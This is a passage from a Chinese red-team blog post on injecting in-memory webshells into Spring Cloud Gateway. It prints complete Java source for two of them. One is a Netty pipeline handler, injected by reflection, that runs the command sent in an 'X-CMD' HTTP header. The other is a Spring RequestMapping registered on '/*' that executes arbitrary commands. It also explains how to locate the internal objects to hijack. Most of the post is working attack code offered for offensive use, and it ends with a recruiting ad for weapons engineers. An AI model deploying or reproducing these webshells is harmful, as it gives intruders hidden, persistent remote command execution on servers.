style="color: #f92672;font-weight: bold;line-height: 26px;">this</span>.configurers;<br/>        <span style="color: #f92672;font-weight: bold;line-height: 26px;">int</span> var5 = var4.length;<br/>        <span style="color: #75715e;line-height: 26px;">// 循环调用所有configurer对pipeline设置handler</span><br/>        <span style="color: #f92672;font-weight: bold;line-height: 26px;">for</span>(<span style="color: #f92672;font-weight: bold;line-height: 26px;">int</span> var6 = <span style="line-height: 26px;">0</span>; var6 &lt; var5; ++var6) {<br/>            ChannelPipelineConfigurer configurer = var4[var6];<br/>            configurer.onChannelInit(connectionObserver, channel, remoteAddress);<br/>        }<br/>    }<br/>}</code></pre></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;">因此我们可以通过修改other参数为自己的configurer向pipline中添加内存马。翻阅源码发现</span><span style="font-size: 14px;color: rgb(217, 33, 66);">reactor.netty.transport.TransportConfig</span><span style="font-size: 14px;">类的</span><span style="font-size: 14px;color: rgb(217, 33, 66);">doOnChannelInit</span><span style="font-size: 14px;">属性存储着other参数，我使用</span><span style="font-size: 14px;color: rgb(217, 33, 66);">java-object-searcher</span><span style="font-size: 14px;">以</span><span style="font-size: 14px;color: rgb(217, 33, 66);">doOnChannelInit</span><span style="font-size: 14px;">为关键字，定位出了它在线程对象的位置。</span></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbP8BZCny2872HicwUaN9KcicYWUrib2G7hX8gBVmAM80nktibtsJkr6Pl9zSHoERn0Z1BSMvlQtLof3pXKpwXD98xsM/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(39, 40, 34);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">TargetObject = {[Ljava.lang.Thread;} <br/>   ---&gt; [3] = {org.springframework.boot.web.embedded.netty.NettyWebServer<span style="color: #a6e22e;line-height: 26px;">$1</span>} = {org.springframework.boot.web.embedded.netty.NettyWebServer<span style="color: #a6e22e;line-height: 26px;">$1</span>} <br/>    ---&gt; val<span style="color: #a6e22e;line-height: 26px;">$disposableServer</span> = {reactor.netty.transport.ServerTransport<span style="color: #a6e22e;line-height: 26px;">$InetDisposableBind</span>} <br/>     ---&gt; config = {reactor.netty.http.server.HttpServerConfig} <br/>        ---&gt; doOnChannelInit = {reactor.netty.ReactorNetty$<span style="color: #a6e22e;line-height: 26px;">$Lambda</span><span style="color: #a6e22e;line-height: 26px;">$391</span>/236567414}<br/></code></pre></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;">最终内存马构造如下：</span></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbP8BZCny2872HicwUaN9KcicYWUrib2G7hX8gBVmAM80nktibtsJkr6Pl9zSHoERn0Z1BSMvlQtLof3pXKpwXD98xsM/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(39, 40, 34);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;">class</span> <span style="font-weight: bold;color: white;line-height: 26px;">NettyMemshell</span> <span style="color: #f92672;font-weight: bold;line-height: 26px;">extends</span> <span style="font-weight: bold;color: white;line-height: 26px;">ChannelDuplexHandler</span> <span style="color: #f92672;font-weight: bold;line-height: 26px;">implements</span> <span style="font-weight: bold;color: white;line-height: 26px;">ChannelPipelineConfigurer</span> </span>{<br/>    <span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;">public</span> <span style="color: #f92672;font-weight: bold;line-height: 26px;">static</span> String <span style="color: #a6e22e;font-weight: bold;line-height: 26px;">doInject</span><span style="line-height: 26px;">()</span></span>{<br/>        String msg = <span style="color: #a6e22e;line-height: 26px;">&#34;inject-start&#34;</span>;<br/>        <span style="color: #f92672;font-weight: bold;line-height: 26px;">try</span> {<br/>            Method getThreads = Thread<span style="line-height: 26px;">.<span style="color: #f92672;font-weight: bold;line-height: 26px;">class</span>.<span style="font-weight: bold;color: white;line-height: 26px;">getDeclaredMethod</span>(&#34;<span style="font-weight: bold;color: white;line-height: 26px;">getThreads</span>&#34;)</span>;<br/>            getThreads.setAccessible(<span style="color: #f92672;font-weight: bold;line-height: 26px;">true</span>);<br/>            Object threads = getThreads.invoke(<span style="color: #f92672;font-weight: bold;line-height: 26px;">null</span>);<br/>            <span style="color: #f92672;font-weight: bold;line-height: 26px;">for</span> (<span style="color: #f92672;font-weight: bold;line-height: 26px;">int</span> i = <span style="line-height: 26px;">0</span>; i &lt; Array.getLength(threads); i++) {<br/>                Object thread = Array.get(threads, i);<br/>                <span style="color: #f92672;font-weight: bold;line-height: 26px;">if</span> (thread != <span style="color: #f92672;font-weight: bold;line-height: 26px;">null</span> &amp;&amp; thread.getClass().getName().contains(<span style="color: #a6e22e;line-height: 26px;">&#34;NettyWebServer&#34;</span>)) {<br/>                    Field _val$disposableServer = thread.getClass().getDeclaredField(<span style="color: #a6e22e;line-height: 26px;">&#34;val$disposableServer&#34;</span>);<br/>                    _val$disposableServer.setAccessible(<span style="color: #f92672;font-weight: bold;line-height: 26px;">true</span>);<br/>                    Object val$disposableServer = _val$disposableServer.get(thread);<br/>                    Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField(<span style="color: #a6e22e;line-height: 26px;">&#34;config&#34;</span>);<br/>                    _config.setAccessible(<span style="color: #f92672;font-weight: bold;line-height: 26px;">true</span>);<br/>                    Object config = _config.get(val$disposableServer);<br/>                    Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField(<span style="color: #a6e22e;line-height: 26px;">&#34;doOnChannelInit&#34;</span>);<br/>                    _doOnChannelInit.setAccessible(<span style="color: #f92672;font-weight: bold;line-height: 26px;">true</span>);<br/>                    _doOnChannelInit.set(config, <span style="color: #f92672;font-weight: bold;line-height: 26px;">new</span> NettyMemshell());<br/>                    msg = <span style="color: #a6e22e;line-height: 26px;">&#34;inject-success&#34;</span>;<br/>                }<br/>            }<br/>        }<span style="color: #f92672;font-weight: bold;line-height: 26px;">catch</span> (Exception e){<br/>            msg = <span style="color: #a6e22e;line-height: 26px;">&#34;inject-error&#34;</span>;<br/>        }<br/>        <span style="color: #f92672;font-weight: bold;line-height: 26px;">return</span> msg;<br/>    }<br/> <br/>    <span style="color: #75715e;line-height: 26px;">@Override</span><br/>    <span style="color: #75715e;line-height: 26px;">// Step1. 作为一个ChannelPipelineConfigurer给pipline注册Handler</span><br/>    <span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;">public</span> <span style="color: #f92672;font-weight: bold;line-height: 26px;">void</span> <span style="color: #a6e22e;font-weight: bold;line-height: 26px;">onChannelInit</span><span style="line-height: 26px;">(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress)</span> </span>{<br/>        ChannelPipeline pipeline = channel.pipeline();<br/>        <span style="color: #75715e;line-height: 26px;">// 将内存马的handler添加到spring层handler的前面        </span><br/>        pipeline.addBefore(<span style="color: #a6e22e;line-height: 26px;">&#34;reactor.left.httpTrafficHandler&#34;</span>,<span style="color: #a6e22e;line-height: 26px;">&#34;memshell_handler&#34;</span>,<span style="color: #f92672;font-weight: bold;line-height: 26px;">new</span> NettyMemshell());<br/>    }<br/>    <br/>    <br/>    <span style="color: #75715e;line-height: 26px;">@Override</span><br/>    <span style="color: #75715e;line-height: 26px;">// Step2. 作为Handler处理请求，在此实现内存马的功能逻辑</span><br/>    <span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;">public</span> <span style="color: #f92672;font-weight: bold;line-height: 26px;">void</span> <span style="color: #a6e22e;font-weight: bold;line-height: 26px;">channelRead</span><span style="line-height: 26px;">(ChannelHandlerContext ctx, Object msg)</span> <span style="color: #f92672;font-weight: bold;line-height: 26px;">throws</span> Exception </span>{<br/>        <span style="color: #f92672;font-weight: bold;line-height: 26px;">if</span>(msg <span style="color: #f92672;font-weight: bold;line-height: 26px;">instanceof</span> HttpRequest){<br/>            HttpRequest httpRequest = (HttpRequest)msg;<br/>            <span style="color: #f92672;font-weight: bold;line-height: 26px;">try</span> {<br/>                <span style="color: #f92672;font-weight: bold;line-height: 26px;">if</span>(httpRequest.headers().contains(<span style="color: #a6e22e;line-height: 26px;">&#34;X-CMD&#34;</span>)) {<br/>                    String cmd = httpRequest.headers().get(<span style="color: #a6e22e;line-height: 26px;">&#34;X-CMD&#34;</span>);<br/>                    String execResult = <span style="color: #f92672;font-weight: bold;line-height: 26px;">new</span> Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(<span style="color: #a6e22e;line-height: 26px;">&#34;\\A&#34;</span>).next();<br/>                    <span style="color: #75715e;line-height: 26px;">// 返回执行结果</span><br/>                    send(ctx, execResult, HttpResponseStatus.OK);<br/>                    <span style="color: #f92672;font-weight: bold;line-height: 26px;">return</span>;<br/>                }<br/>            }<span style="color: #f92672;font-weight: bold;line-height: 26px;">catch</span> (Exception e){<br/>                e.printStackTrace();<br/>            }<br/>        }<br/>        ctx.fireChannelRead(msg);<br/>    }<br/>    <span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;">private</span> <span style="color: #f92672;font-weight: bold;line-height: 26px;">void</span> <span style="color: #a6e22e;font-weight: bold;line-height: 26px;">send</span><span style="line-height: 26px;">(ChannelHandlerContext ctx, String context, HttpResponseStatus status)</span> </span>{<br/>        FullHttpResponse response = <span style="color: #f92672;font-weight: bold;line-height: 26px;">new</span> DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));<br/>        response.headers().set(HttpHeaderNames.CONTENT_TYPE, <span style="color: #a6e22e;line-height: 26px;">&#34;text/plain; charset=UTF-8&#34;</span>);<br/>        ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);<br/>    }<br/>}</code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.1875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=65983975&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F075AT6bRmPfKf2DibbXNQuiaibh6Mtsgod4BwMFujjqibgthIiaZ7LHaPMSvL3OB5CIP3c9gsfXFczEejtZJFwXY2hQ%2F640%3Fwx_fmt%3Djpeg"/></p><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;"></span><br/></section><section style="margin-left: 8px;margin-right: 8px;"><br/></section><section style="text-align: center;margin-left: 8px;margin-right: 8px;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-size: 18px;"> 0x03 </span></strong></span></section><section style="text-align: center;margin-left: 8px;margin-right: 8px;"><strong><span style="font-size: 18px;">Spring层内存马</span></strong></section><section style="margin-left: 8px;margin-right: 8px;"><br/></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;">Spring层request请求处理组件很多，有handler/Adapter/Filter等等，理论上都可以拿来做内存马，这里我分享下最简单的</span><span style="font-size: 14px;color: rgb(217, 33, 66);">RequestMappingHandler</span><span style="font-size: 14px;">。</span></section><section style="margin-left: 8px;margin-right: 8px;"><br/></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;">Spring cloud gateway主要的路由分发主要由</span><span style="font-size: 14px;color: rgb(217, 33, 66);">org.springframework.web.reactive.DispatcherHandler</span><span style="font-size: 14px;">类和它三个组件来完成</span></section><section style="margin-left: 8px;margin-right: 8px;"><br/></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;">1. org.springframework.web.reactive.HandlerMapping 路由比配器</span></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;">2. org.springframework.web.reactive.HandlerAdapter handler适配器</span></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;">3. org.springframework.web.reactive.HandlerResultHandler 结果处理器</span></section><section style="margin-left: 8px;margin-right: 8px;"><br/></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;">具体逻辑如下：</span></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbP8BZCny2872HicwUaN9KcicYWUrib2G7hX8gBVmAM80nktibtsJkr6Pl9zSHoERn0Z1BSMvlQtLof3pXKpwXD98xsM/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(39, 40, 34);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;"><span style="color: #75715e;line-height: 26px;">// org.springframework.web.reactive.DispatcherHandler#handle</span><br/><span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;">public</span> Mono&lt;Void&gt; <span style="color: #a6e22e;font-weight: bold;line-height: 26px;">handle</span><span style="line-height: 26px;">(ServerWebExchange exchange)</span> </span>{<br/>    <span style="color: #f92672;font-weight: bold;line-height: 26px;">return</span> <span style="color: #f92672;font-weight: bold;line-height: 26px;">this</span>.handlerMappings == <span style="color: #f92672;font-weight: bold;line-height: 26px;">null</span> ? <span style="color: #f92672;font-weight: bold;line-height: 26px;">this</span>.createNotFoundError() : Flux.fromIterable(<span style="color: #f92672;font-weight: bold;line-height: 26px;">this</span>.handlerMappings).concatMap((mapping) -&gt; {<br/>        <span style="color: #f92672;font-weight: bold;line-height: 26px;">return</span> mapping.getHandler(exchange); <span style="color: #75715e;line-height: 26px;">// Step1. 使用HandlerMapping匹配路由</span><br/>    }).next().switchIfEmpty(<span style="color: #f92672;font-weight: bold;line-height: 26px;">this</span>.createNotFoundError()).flatMap((handler) -&gt; {<br/>        <span style="color: #f92672;font-weight: bold;line-height: 26px;">return</span> <span style="color: #f92672;font-weight: bold;line-height: 26px;">this</span>.invokeHandler(exchange, handler); <span style="color: #75715e;line-height: 26px;">// Step2. 使用具体HandlerAdapter来处理具体请求</span><br/>    }).flatMap((result) -&gt; {<br/>        <span style="color: #f92672;font-weight: bold;line-height: 26px;">return</span> <span style="color: #f92672;font-weight: bold;line-height: 26px;">this</span>.handleResult(exchange, result); <span style="color: #75715e;line-height: 26px;">// Step3. 使用适合的HandlerResultHandler来处理返回的结果</span><br/>    });<br/>}<br/></code></pre></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;">基于这个流程，我们可以梳理出一个构造内存马的思路。让</span><span style="font-size: 14px;color: rgb(217, 33, 66);">HandlerMapping</span><span style="font-size: 14px;">注册一个映射关系，通过映射关系让特定的HandlerAdapter执行到我们的内存马流程，最后内存马返回一个HandlerResultHandler可以处理的结果类型即可。</span></section><section style="margin-left: 8px;margin-right: 8px;"><br/></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;">这里我选择</span><span style="font-size: 14px;color: rgb(217, 33, 66);">RequestMappingHandlerMapping</span><span style="font-size: 14px;">这个HandlerMapping，来注册一个与使用</span><span style="font-size: 14px;color: rgb(217, 33, 66);">@RequestMapping(&#34;/*&#34;)</span><span style="font-size: 14px;">等效的内存马。</span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.36484375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=4532b758&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPfKf2DibbXNQuiaibh6Mtsgod4wwzicoIq26ibm0ka3u3dL5Jmiagr1QVnE6LFJY2QxUHybLlJkpaMgEbaQ%2F640%3Fwx_fmt%3Dpng"/></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbP8BZCny2872HicwUaN9KcicYWUrib2G7hX8gBVmAM80nktibtsJkr6Pl9zSHoERn0Z1BSMvlQtLof3pXKpwXD98xsM/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(39, 40, 34);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;">class</span> <span style="font-weight: bold;color: white;line-height: 26px;">SpringRequestMappingMemshell</span> </span>{<br/>    <span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;">public</span> <span style="color: #f92672;font-weight: bold;line-height: 26px;">static</span> String <span style="color: #a6e22e;font-weight: bold;line-height: 26px;">doInject</span><span style="line-height: 26px;">(Object requestMappingHandlerMapping)</span> </span>{<br/>        String msg = <span style="color: #a6e22e;line-height: 26px;">&#34;inject-start&#34;</span>;<br/>        <span style="color: #f92672;font-weight: bold;line-height: 26px;">try</span> {<br/>            Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod(<span style="color: #a6e22e;line-height: 26px;">&#34;registerHandlerMethod&#34;</span>, Object<span style="line-height: 26px;">.<span style="color: #f92672;font-weight: bold;line-height: 26px;">class</span>, <span style="font-weight: bold;color: white;line-height: 26px;">Method</span>.<span style="font-weight: bold;color: white;line-height: 26px;">class</span>, <span style="font-weight: bold;color: white;line-height: 26px;">RequestMappingInfo</span>.<span style="font-weight: bold;color: white;line-height: 26px;">class</span>)</span>;<br/>            registerHandlerMethod.setAccessible(<span style="color: #f92672;font-weight: bold;line-height: 26px;">true</span>);<br/>            Method executeCommand = SpringRequestMappingMemshell<span style="line-height: 26px;">.<span style="color: #f92672;font-weight: bold;line-height: 26px;">class</span>.<span style="font-weight: bold;color: white;line-height: 26px;">getDeclaredMethod</span>(&#34;<span style="font-weight: bold;color: white;line-height: 26px;">executeCommand</span>&#34;, <span style="font-weight: bold;color: white;line-height: 26px;">String</span>.<span style="font-weight: bold;color: white;line-height: 26px;">class</span>)</span>;<br/>            PathPattern pathPattern = <span style="color: #f92672;font-weight: bold;line-height: 26px;">new</span> PathPatternParser().parse(<span style="color: #a6e22e;line-height: 26px;">&#34;/*&#34;</span>);<br/>            PatternsRequestCondition patternsRequestCondition = <span style="color: #f92672;font-weight: bold;line-height: 26px;">new</span> PatternsRequestCondition(pathPattern);<br/>            RequestMappingInfo requestMappingInfo = <span style="color: #f92672;font-weight: bold;line-height: 26px;">new</span> RequestMappingInfo(<span style="color: #a6e22e;line-height: 26px;">&#34;&#34;</span>, patternsRequestCondition, <span style="color: #f92672;font-weight: bold;line-height: 26px;">null</span>, <span style="color: #f92672;font-weight: bold;line-height: 26px;">null</span>, <span style="color: #f92672;font-weight: bold;line-height: 26px;">null</span>, <span style="color: #f92672;font-weight: bold;line-height: 26px;">null</span>, <span style="color: #f92672;font-weight: bold;line-height: 26px;">null</span>, <span style="color: #f92672;font-weight: bold;line-height: 26px;">null</span>);<br/>            registerHandlerMethod.invoke(requestMappingHandlerMapping, <span style="color: #f92672;font-weight: bold;line-height: 26px;">new</span> SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);<br/>            msg = <span style="color: #a6e22e;line-height: 26px;">&#34;inject-success&#34;</span>;<br/>        }<span style="color: #f92672;font-weight: bold;line-height: 26px;">catch</span> (Exception e){<br/>            msg = <span style="color: #a6e22e;line-height: 26px;">&#34;inject-error&#34;</span>;<br/>        }<br/>        <span style="color: #f92672;font-weight: bold;line-height: 26px;">return</span> msg;<br/>    }<br/>    <span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;">public</span> ResponseEntity <span style="color: #a6e22e;font-weight: bold;line-height: 26px;">executeCommand</span><span style="line-height: 26px;">(String cmd)</span> <span style="color: #f92672;font-weight: bold;line-height: 26px;">throws</span> IOException </span>{<br/>        String execResult = <span style="color: #f92672;font-weight: bold;line-height: 26px;">new</span> Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(<span style="color: #a6e22e;line-height: 26px;">&#34;\\A&#34;</span>).next();<br/>        <span style="color: #f92672;font-weight: bold;line-height: 26px;">return</span> <span style="color: #f92672;font-weight: bold;line-height: 26px;">new</span> ResponseEntity(execResult, HttpStatus.OK);<br/>    }<br/>}</code></pre></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;">那怎么获取到</span><span style="font-size: 14px;color: rgb(217, 33, 66);">RequestMappingHandlerMapping</span><span style="font-size: 14px;">呢？通过java-object-searcher自然可以定位到，小组的</span><span style="font-size: 14px;color: rgb(217, 33, 66);">@whw1sfb</span><span style="font-size: 14px;">师傅提到了一种更简便的方案，<strong>从SPEL上下文的bean当中获取！</strong></span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.85859375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=05ba46b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPfKf2DibbXNQuiaibh6Mtsgod4D7yJSsQQ3M9VfdHLWsCPPMhNibCcP6g8XDG42SJl5XXQmaAs0vxicdsg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4703125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=4802938b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPfKf2DibbXNQuiaibh6Mtsgod4Nbl0hiaT5rNxR1CTGMjibhBB97yLRPJFKdmx66wxN5ULSxXqAp0iaa2Uw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.096875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=00550318&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPfKf2DibbXNQuiaibh6Mtsgod4gLB0icejfphxmic06dtiafsxWalSUjNvaIiakwjfCb2hoKfKWFgwJmujBw%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;"></span><br/></section><section style="margin-left: 8px;margin-right: 8px;"><br/></section><section style="text-align: center;margin-left: 8px;margin-right: 8px;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-size: 18px;"> 0x04 </span></strong></span></section><section style="text-align: center;margin-left: 8px;margin-right: 8px;"><strong><span style="font-size: 18px;">总结</span></strong></section><section style="text-align: center;margin-left: 8px;margin-right: 8px;"><strong><span style="font-size: 18px;"><br/></span></strong></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;">从最后的效果来看，spring层的内存马更好做兼容性，因为可以直接从bean当中获取目标对象，唯一要考虑的就是注册方法在各个版本是否兼容。</span></section><section style="margin-left: 8px;margin-right: 8px;"><br/></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;">关于各个协议和组件的内存马的构造思路其实都大同小异，说白了就是分析涉及处理请求的对象，阅读它的源码看看是否能获取请求内容，同时能否控制响应内容。然后分析该对象是如何被注册到内存当中的，最后我们只要模拟下这个过程即可。</span></section><section style="margin-left: 8px;margin-right: 8px;"><br/></section><section style="text-align: center;margin-left: 8px;margin-right: 8px;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-size: 18px;"> 0x05 </span></strong></span></section><section style="text-align: center;margin-left: 8px;margin-right: 8px;"><strong><span style="font-size: 18px;">参考资料</span></strong></section><section style="margin-left: 8px;margin-right: 8px;"><br/></section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p><span style="font-size: 14px;"><a href="https://wya.pl/2021/12/20/bring-your-own-ssrf-the-gateway-actuator/" target="_blank">https://wya.pl/2021/12/20/bring-your-own-ssrf-the-gateway-actuator/</a></span></p></li></ul><p><br/></p><section style="margin-right: 8px;margin-left: 8px;white-space: normal;line-height: 1.5em;text-align: center;"><span style="font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="letter-spacing: 1px;"><span data-raw-text=" " data-textnode-index-1644746879960="485" data-index-1644746879960="7617" class="character"> </span><span data-raw-text="0" data-textnode-index-1644746879960="485" data-index-1644746879960="7618" class="character">0</span><span data-raw-text="x" data-textnode-index-1644746879960="485" data-index-1644746879960="7619" class="character">x</span><span data-raw-text="0" data-textnode-index-1644746879960="485" data-index-1644746879960="7620" class="character">06</span><span data-raw-text=" " data-textnode-index-1644746879960="485" data-index-1644746879960="7622" class="character"> </span></span></strong></span></section><section style="margin-right: 8px;margin-left: 8px;white-space: normal;line-height: 1.5em;text-align: center;"><span style="font-size: 18px;"><strong><span style="letter-spacing: 1px;"><span data-raw-text="招" data-textnode-index-1644746879960="486" data-index-1644746879960="7623" class="character">招</span><span data-raw-text="聘" data-textnode-index-1644746879960="486" data-index-1644746879960="7624" class="character">聘</span><span data-raw-text="：" data-textnode-index-1644746879960="486" data-index-1644746879960="7625" class="character">：</span><span data-raw-text="红" data-textnode-index-1644746879960="486" data-index-1644746879960="7626" class="character">红</span><span data-raw-text="队" data-textnode-index-1644746879960="486" data-index-1644746879960="7627" class="character">队</span><span data-raw-text="武" data-textnode-index-1644746879960="486" data-index-1644746879960="7628" class="character">武</span><span data-raw-text="器" data-textnode-index-1644746879960="486" data-index-1644746879960="7629" class="character">器</span><span data-raw-text="化" data-textnode-index-1644746879960="486" data-index-1644746879960="7630" class="character">化</span><span data-raw-text="工" data-textnode-index-1644746879960="486" data-index-1644746879960="7631" class="character">工</span><span data-raw-text="程" data-textnode-index-1644746879960="486" data-index-1644746879960="7632" class="character">程</span><span data-raw-text="师" data-textnode-index-1644746879960="486" data-index-1644746879960="7633" class="character">师</span></span></strong></span></section><section style="margin-right: 8px;margin-left: 8px;white-space: normal;line-height: 1.5em;"><br/></section><section style="margin-right: 8px;margin-left: 8px;white-space: normal;line-height: 1.5em;"><span style="font-size: 14px;letter-spacing: 1px;"><span data-raw-text="最" data-textnode-index-1644746879960="487" data-index-1644746879960="7634" class="character">最</span><span data-raw-text="后" data-textnode-index-1644746879960="487" data-index-1644746879960="7635" class="character">后</span><span data-raw-text="给" data-textnode-index-1644746879960="487" data-index-1644746879960="7636" class="character">给</span><span data-raw-text="团" data-textnode-index-1644746879960="487" data-index-1644746879960="7637" class="character">团</span><span data-raw-text="队" data-textnode-index-1644746879960="487" data-index-1644746879960="7638" class="character">队</span><span 